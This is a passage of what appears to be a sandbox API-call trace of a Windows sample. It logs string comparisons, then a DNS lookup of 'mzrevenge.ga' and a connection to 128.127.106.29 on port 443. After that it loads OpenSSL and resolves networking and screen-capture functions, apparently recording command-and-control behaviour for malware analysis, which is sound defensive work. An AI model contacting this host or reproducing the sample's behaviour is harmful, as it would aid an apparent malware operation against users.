cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.759] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.774] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.774] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.777] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.791] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.791] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.791] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.901] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0075.925] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="http", cchCount2=4) returned 3 [0075.925] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="https", cchCount2=5) returned 2 [0076.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GET", cchCount1=3, lpString2="OPTIONS", cchCount2=7) returned 1 [0076.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="OPTIONS", cchCount2=7) returned 1 [0076.045] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GET", cchCount1=3, lpString2="TRACE", cchCount2=5) returned 1 [0076.046] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GET", cchCount1=3, lpString2="PUT", cchCount2=3) returned 1 [0076.046] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GET", cchCount1=3, lpString2="OPTIONS", cchCount2=7) returned 1 [0076.046] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GET", cchCount1=3, lpString2="DELETE", cchCount2=6) returned 3 [0076.046] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GET", cchCount1=3, lpString2="PATCH", cchCount2=5) returned 1 [0076.046] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="TRACE", cchCount2=5) returned 1 [0076.046] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="PUT", cchCount2=3) returned 1 [0076.046] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="OPTIONS", cchCount2=7) returned 1 [0076.046] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="DELETE", cchCount2=6) returned 1 [0076.046] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="PATCH", cchCount2=5) returned 1 [0076.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="http", cchCount2=4) returned 3 [0076.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="https", cchCount2=5) returned 2 [0076.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="HTTP", cchCount2=4) returned 3 [0076.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="HTTPS", cchCount2=5) returned 2 [0076.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="HTTP", cchCount2=4) returned 3 [0076.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="HTTPS", cchCount2=5) returned 2 [0076.352] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="mzrevenge.ga", cchCount2=12) returned 1 [0076.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="HTTPS", cchCount2=5) returned 2 [0077.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="HTTP", cchCount2=4) returned 3 [0077.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="HTTPS", cchCount2=5) returned 2 [0077.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="HTTP", cchCount2=4) returned 3 [0077.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="https", cchCount1=5, lpString2="HTTPS", cchCount2=5) returned 2 [0077.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="socket", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0077.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="socket", cchWideChar=6, lpMultiByteStr=0x7fc13c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="socket", lpUsedDefaultChar=0x0) returned 6 [0077.247] GetProcAddress (hModule=0x77230000, lpProcName="socket") returned 0x77233eb8 [0077.248] socket (af=2, type=1, protocol=0) returned 0x12c [0081.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="getsockopt", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0081.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="getsockopt", cchWideChar=10, lpMultiByteStr=0x7f2f6c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="getsockopt", lpUsedDefaultChar=0x0) returned 10 [0081.206] GetProcAddress (hModule=0x77230000, lpProcName="getsockopt") returned 0x7723737d [0081.206] getsockopt (in: s=0x12c, level=65535, optname=4104, optval=0x18facc, optlen=0x18fac8 | out: optval="\x01", optlen=0x18fac8) returned 0 [0081.222] getsockopt (in: s=0x12c, level=6, optname=1, optval=0x18facc, optlen=0x18fac8 | out: optval="", optlen=0x18fac8) returned 0 [0081.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="setsockopt", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0081.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="setsockopt", cchWideChar=10, lpMultiByteStr=0x7f2f6c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setsockopt", lpUsedDefaultChar=0x0) returned 10 [0081.223] GetProcAddress (hModule=0x77230000, lpProcName="setsockopt") returned 0x772341b6 [0081.223] setsockopt (s=0x12c, level=65535, optname=4, optval="", optlen=4) returned 0 [0081.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="htons", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0081.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="htons", cchWideChar=5, lpMultiByteStr=0x7fc13c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htons", lpUsedDefaultChar=0x0) returned 5 [0081.241] GetProcAddress (hModule=0x77230000, lpProcName="htons") returned 0x77232d8b [0081.241] htons (hostshort=0x0) returned 0x0 [0081.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bind", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bind", cchWideChar=4, lpMultiByteStr=0x7fc13c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bind", lpUsedDefaultChar=0x0) returned 4 [0081.241] GetProcAddress (hModule=0x77230000, lpProcName="bind") returned 0x77234582 [0081.241] bind (s=0x12c, addr=0x18fa24*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0081.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="getsockname", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="getsockname", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="getsockname", lpUsedDefaultChar=0x0) returned 11 [0081.376] GetProcAddress (hModule=0x77230000, lpProcName="getsockname") returned 0x772330af [0081.376] getsockname (in: s=0x12c, name=0x18fa18, namelen=0x18fa98 | out: name=0x18fa18*(sa_family=2, sin_port=0xc006, sin_addr="0.0.0.0"), namelen=0x18fa98) returned 0 [0081.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ntohs", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0081.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ntohs", cchWideChar=5, lpMultiByteStr=0x7fc13c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ntohs", lpUsedDefaultChar=0x0) returned 5 [0081.377] GetProcAddress (hModule=0x77230000, lpProcName="ntohs") returned 0x77232d8b [0081.377] htons (hostshort=0x6c0) returned 0xc006 [0081.377] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mzrevenge.ga", cchCount1=12, lpString2="LOCALHOST", cchCount2=9) returned 3 [0081.393] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="mzrevenge.ga", cchUnicodeChar=12, lpASCIICharStr=0x0, cchASCIIChar=0 | out: lpASCIICharStr=0x0) returned 12 [0081.393] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="mzrevenge.ga", cchUnicodeChar=12, lpASCIICharStr=0x80f7ec, cchASCIIChar=12 | out: lpASCIICharStr="mzrevenge.ga") returned 12 [0081.417] GetAddrInfoW (in: pNodeName="mzrevenge.ga", pServiceName=0x0, pHints=0x18facc*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18faec | out: ppResult=0x18faec*=0x2b94a08*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94988*(sa_family=2, sin_port=0x0, sin_addr="128.127.106.29"), ai_next=0x0)) returned 0 [0110.426] FreeAddrInfoW (pAddrInfo=0x2b94a08*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94988*(sa_family=2, sin_port=0x0, sin_addr="128.127.106.29"), ai_next=0x0)) [0110.631] htons (hostshort=0x1bb) returned 0xbb01 [0110.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="connect", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0110.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="connect", cchWideChar=7, lpMultiByteStr=0x7fc13c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect", lpUsedDefaultChar=0x0) returned 7 [0110.710] GetProcAddress (hModule=0x77230000, lpProcName="connect") returned 0x77236bdd [0110.711] connect (s=0x12c, name=0x18fa7c*(sa_family=2, sin_port=0x1bb, sin_addr="128.127.106.29"), namelen=16) returned 0 [0110.801] getsockname (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0xc006, sin_addr="192.168.0.156"), namelen=0x18fae4) returned 0 [0110.801] htons (hostshort=0x6c0) returned 0xc006 [0110.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="getpeername", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0110.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="getpeername", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="getpeername", lpUsedDefaultChar=0x0) returned 11 [0110.802] GetProcAddress (hModule=0x77230000, lpProcName="getpeername") returned 0x77237147 [0110.802] getpeername (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0x1bb, sin_addr="128.127.106.29"), namelen=0x18fae4) returned 0 [0110.802] htons (hostshort=0xbb01) returned 0x1bb [0110.990] SetErrorMode (uMode=0x8000) returned 0x0 [0110.990] LoadLibraryW (lpLibFileName="libeay32.dll") returned 0x11000000 [0111.487] VirtualProtect (in: lpAddress=0x1100015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x18f730 | out: lpflOldProtect=0x18f730*=0x2) returned 1 [0111.488] VirtualProtect (in: lpAddress=0x1100015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x18f730 | out: lpflOldProtect=0x18f730*=0x4) returned 1 [0111.489] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x77230000 [0111.489] GetProcAddress (hModule=0x77230000, lpProcName=0x14) returned 0x772334b5 [0111.489] GetProcAddress (hModule=0x77230000, lpProcName=0x11) returned 0x7723b6dc [0111.489] GetProcAddress (hModule=0x77230000, lpProcName=0x2) returned 0x77234582 [0111.489] GetProcAddress (hModule=0x77230000, lpProcName=0xd) returned 0x7723b001 [0111.489] GetProcAddress (hModule=0x77230000, lpProcName=0x1) returned 0x772368b6 [0111.489] GetProcAddress (hModule=0x77230000, lpProcName=0xe) returned 0x77232d57 [0111.490] GetProcAddress (hModule=0x77230000, lpProcName=0xa) returned 0x77233084 [0111.490] GetProcAddress (hModule=0x77230000, lpProcName=0x74) returned 0x77233c5f [0111.490] GetProcAddress (hModule=0x77230000, lpProcName=0x73) returned 0x77233ab2 [0111.490] GetProcAddress (hModule=0x77230000, lpProcName=0x34) returned 0x77247673 [0111.490] GetProcAddress (hModule=0x77230000, lpProcName=0x7) returned 0x7723737d [0111.490] GetProcAddress (hModule=0x77230000, lpProcName=0x37) returned 0x77246ef3 [0111.491] GetProcAddress (hModule=0x77230000, lpProcName=0xf) returned 0x77232d8b [0111.526] GetProcAddress (hModule=0x77230000, lpProcName=0x9) returned 0x77232d8b [0111.527] GetProcAddress (hModule=0x77230000, lpProcName=0x8) returned 0x77232d57 [0111.527] GetProcAddress (hModule=0x77230000, lpProcName=0x17) returned 0x77233eb8 [0111.527] GetProcAddress (hModule=0x77230000, lpProcName=0x15) returned 0x772341b6 [0111.527] GetProcAddress (hModule=0x77230000, lpProcName=0x4) returned 0x77236bdd [0111.528] GetProcAddress (hModule=0x77230000, lpProcName=0x13) returned 0x77236f01 [0111.528] GetProcAddress (hModule=0x77230000, lpProcName=0x70) returned 0x772337d9 [0111.528] GetProcAddress (hModule=0x77230000, lpProcName=0x10) returned 0x77236b0e [0111.528] GetProcAddress (hModule=0x77230000, lpProcName=0x6f) returned 0x772337ad [0111.529] GetProcAddress (hModule=0x77230000, lpProcName=0x16) returned 0x7723449d [0111.529] GetProcAddress (hModule=0x77230000, lpProcName=0x3) returned 0x77233918 [0111.530] GetModuleHandleA (lpModuleName="GDI32.dll") returned 0x770a0000 [0111.530] GetProcAddress (hModule=0x770a0000, lpProcName="CreateCompatibleBitmap") returned 0x770b5f49 [0111.530] GetProcAddress (hModule=0x770a0000, lpProcName="GetObjectA") returned 0x770b85d4 [0111.531] GetProcAddress (hModule=0x770a0000, lpProcName="GetDIBits") returned 0x770b6001 [0111.531] GetProcAddress (hModule=0x770a0000, lpProcName="DeleteObject") returned 0x770b5689 [0111.531] GetProcAddress (hModule=0x770a0000, lpProcName="GetDeviceCaps") returned 0x770b4de0 [0111.532] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x77710000 [0111.532] GetProcAddress (hModule=0x77710000, lpProcName="ReportEventA") returned 0x77713ee9 [0111.532] GetProcAddress (hModule=0x77710000, lpProcName="DeregisterEventSource") returned 0x777235dd [0111.533] GetProcAddress (hModule=0x77710000, lpProcName="RegisterEventSourceA") returned 0x77722d46 [0111.533] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77130000 [0111.533] GetProcAddress (hModule=0x77130000, lpProcName="GetDC") returned 0x771472c4 [0111.533] GetProcAddress (hModule=0x77130000, lpProcName="ReleaseDC") returned 0x77147446 [0111.534] GetProcAddress (hModule=0x77130000, lpProcName="MessageBoxA") returned 0x7719fd1e [0111.534] GetProcAddress (hModule=0x77130000, lpProcName="GetProcessWindowStation") returned 0x77149eea [0111.534] GetProcAddress (hModule=0x77130000, lpProcName="GetUserObjectInformationW") returned 0x77148068 [0111.534] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76d30000 [0111.535] GetProcAddress (hModule=0x76d30000, lpProcName="GetStringTypeW") returned 0x76d41946 [0111.535] GetProcAddress (hModule=0x76d30000, lpProcName="GetStringTypeA") returned 0x76d68266 [0111.535] GetProcAddress (hModule=0x76d30000, 